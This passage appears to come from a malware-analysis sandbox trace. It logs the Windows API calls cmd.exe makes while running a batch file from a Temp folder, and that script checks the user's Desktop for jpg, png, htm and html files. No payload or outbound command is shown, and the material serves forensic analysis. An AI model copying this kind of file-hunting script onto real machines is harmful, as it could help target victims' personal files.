(_OSFileHandle=0x74, _Flags=8) returned 3 [0039.240] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.240] SetFilePointer (in: hFile=0x74, lDistanceToMove=2192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0039.240] GetProcessHeap () returned 0x4e0000 [0039.240] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.240] GetProcessHeap () returned 0x4e0000 [0039.240] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.241] GetProcessHeap () returned 0x4e0000 [0039.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.241] GetProcessHeap () returned 0x4e0000 [0039.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.241] GetProcessHeap () returned 0x4e0000 [0039.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.241] GetProcessHeap () returned 0x4e0000 [0039.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.241] GetProcessHeap () returned 0x4e0000 [0039.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.241] GetProcessHeap () returned 0x4e0000 [0039.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.241] GetProcessHeap () returned 0x4e0000 [0039.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.241] GetProcessHeap () returned 0x4e0000 [0039.241] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.241] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.241] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0039.241] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d9d, lpOverlapped=0x0) returned 1 [0039.241] SetFilePointer (in: hFile=0x74, lDistanceToMove=2194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0039.241] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n") returned 2 [0039.241] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.242] GetFileType (hFile=0x74) returned 0x1 [0039.242] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.242] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0039.242] GetProcessHeap () returned 0x4e0000 [0039.242] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.242] GetProcessHeap () returned 0x4e0000 [0039.242] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.242] _tell (_FileHandle=3) returned 2194 [0039.242] _close (_FileHandle=3) returned 0 [0039.242] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.242] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.242] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.242] SetFilePointer (in: hFile=0x74, lDistanceToMove=2194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0039.243] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.243] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0039.243] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d9b, lpOverlapped=0x0) returned 1 [0039.243] SetFilePointer (in: hFile=0x74, lDistanceToMove=2219, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0039.243] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.png goto png\r\n\r\n") returned 25 [0039.243] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.243] GetFileType (hFile=0x74) returned 0x1 [0039.243] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.243] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0039.243] GetProcessHeap () returned 0x4e0000 [0039.243] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.243] GetProcessHeap () returned 0x4e0000 [0039.243] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.243] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.243] GetProcessHeap () returned 0x4e0000 [0039.243] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.243] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.243] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.244] GetProcessHeap () returned 0x4e0000 [0039.244] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.244] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.244] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.244] GetProcessHeap () returned 0x4e0000 [0039.244] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.244] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.244] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.244] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.244] GetProcessHeap () returned 0x4e0000 [0039.244] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.244] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.244] GetProcessHeap () returned 0x4e0000 [0039.244] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.244] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.244] GetProcessHeap () returned 0x4e0000 [0039.244] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.244] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.245] _tell (_FileHandle=3) returned 2219 [0039.245] _close (_FileHandle=3) returned 0 [0039.245] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFilePart=0x41eea8*="*.png") returned 0x2b [0039.245] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.245] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.246] GetLastError () returned 0x2 [0039.246] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.246] GetLastError () returned 0x6 [0039.246] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.246] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.246] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.246] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.246] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.246] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.247] SetConsoleInputExeNameW () returned 0x1 [0039.247] GetConsoleOutputCP () returned 0x1b5 [0039.247] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.247] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.247] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.247] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.247] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.247] SetFilePointer (in: hFile=0x74, lDistanceToMove=2219, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0039.247] GetProcessHeap () returned 0x4e0000 [0039.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.247] GetProcessHeap () returned 0x4e0000 [0039.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.247] GetProcessHeap () returned 0x4e0000 [0039.247] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.247] GetProcessHeap () returned 0x4e0000 [0039.248] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.248] GetProcessHeap () returned 0x4e0000 [0039.248] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.248] GetProcessHeap () returned 0x4e0000 [0039.248] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.248] GetProcessHeap () returned 0x4e0000 [0039.248] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.248] GetProcessHeap () returned 0x4e0000 [0039.248] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.248] GetProcessHeap () returned 0x4e0000 [0039.248] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.248] GetProcessHeap () returned 0x4e0000 [0039.248] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.248] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.248] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0039.248] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d82, lpOverlapped=0x0) returned 1 [0039.248] SetFilePointer (in: hFile=0x74, lDistanceToMove=2221, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0039.248] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n\r\n") returned 2 [0039.248] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.248] GetFileType (hFile=0x74) returned 0x1 [0039.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0039.249] GetProcessHeap () returned 0x4e0000 [0039.249] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.249] GetProcessHeap () returned 0x4e0000 [0039.249] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.249] _tell (_FileHandle=3) returned 2221 [0039.249] _close (_FileHandle=3) returned 0 [0039.249] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.249] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=2221, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0039.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0039.249] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d80, lpOverlapped=0x0) returned 1 [0039.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=2246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0039.250] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n\r\n") returned 25 [0039.250] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.250] GetFileType (hFile=0x74) returned 0x1 [0039.250] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0039.250] GetProcessHeap () returned 0x4e0000 [0039.250] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.250] GetProcessHeap () returned 0x4e0000 [0039.250] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.250] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.250] GetProcessHeap () returned 0x4e0000 [0039.250] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.250] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.250] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.250] GetProcessHeap () returned 0x4e0000 [0039.250] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.250] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.251] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.251] GetProcessHeap () returned 0x4e0000 [0039.251] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.251] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.251] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.251] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.251] GetProcessHeap () returned 0x4e0000 [0039.251] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.251] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.251] GetProcessHeap () returned 0x4e0000 [0039.251] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.251] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.251] GetProcessHeap () returned 0x4e0000 [0039.251] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.251] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.252] _tell (_FileHandle=3) returned 2246 [0039.252] _close (_FileHandle=3) returned 0 [0039.252] GetFullPathNameW (in: lpFileName="*.htm", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.htm", lpFilePart=0x41eea8*="*.htm") returned 0x2b [0039.253] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.253] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.htm", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.253] GetLastError () returned 0x2 [0039.253] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.253] GetLastError () returned 0x6 [0039.253] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.253] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.253] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.253] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.253] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.254] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.254] SetConsoleInputExeNameW () returned 0x1 [0039.254] GetConsoleOutputCP () returned 0x1b5 [0039.254] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.254] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.254] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.254] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.254] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.254] SetFilePointer (in: hFile=0x74, lDistanceToMove=2246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0039.254] GetProcessHeap () returned 0x4e0000 [0039.254] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.255] GetProcessHeap () returned 0x4e0000 [0039.255] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.255] GetProcessHeap () returned 0x4e0000 [0039.255] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.255] GetProcessHeap () returned 0x4e0000 [0039.255] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.255] GetProcessHeap () returned 0x4e0000 [0039.255] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.255] GetProcessHeap () returned 0x4e0000 [0039.255] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.255] GetProcessHeap () returned 0x4e0000 [0039.255] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.255] GetProcessHeap () returned 0x4e0000 [0039.255] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.255] GetProcessHeap () returned 0x4e0000 [0039.255] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.255] GetProcessHeap () returned 0x4e0000 [0039.255] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.255] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c6 [0039.255] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d67, lpOverlapped=0x0) returned 1 [0039.255] SetFilePointer (in: hFile=0x74, lDistanceToMove=2248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0039.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n\r\n") returned 2 [0039.256] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.256] GetFileType (hFile=0x74) returned 0x1 [0039.256] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.256] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0039.256] GetProcessHeap () returned 0x4e0000 [0039.256] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.256] GetProcessHeap () returned 0x4e0000 [0039.256] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.256] _tell (_FileHandle=3) returned 2248 [0039.256] _close (_FileHandle=3) returned 0 [0039.256] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.256] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.256] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.256] SetFilePointer (in: hFile=0x74, lDistanceToMove=2248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0039.257] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.257] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8 [0039.257] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1d65, lpOverlapped=0x0) returned 1 [0039.257] SetFilePointer (in: hFile=0x74, lDistanceToMove=2275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0039.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.html goto html\r\n") returned 27 [0039.257] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.257] GetFileType (hFile=0x74) returned 0x1 [0039.257] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.257] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e3 [0039.257] GetProcessHeap () returned 0x4e0000 [0039.257] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.257] GetProcessHeap () returned 0x4e0000 [0039.257] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.257] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.257] GetProcessHeap () returned 0x4e0000 [0039.257] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.257] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.257] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.257] GetProcessHeap () returned 0x4e0000 [0039.257] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.257] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.258] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.258] GetProcessHeap () returned 0x4e0000 [0039.258] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.258] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.258] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.258] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f58c0 [0039.258] GetProcessHeap () returned 0x4e0000 [0039.258] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f6080 [0039.258] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6080, Size=0x18) returned 0x4f58e0 [0039.258] GetProcessHeap () returned 0x4e0000 [0039.258] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x18 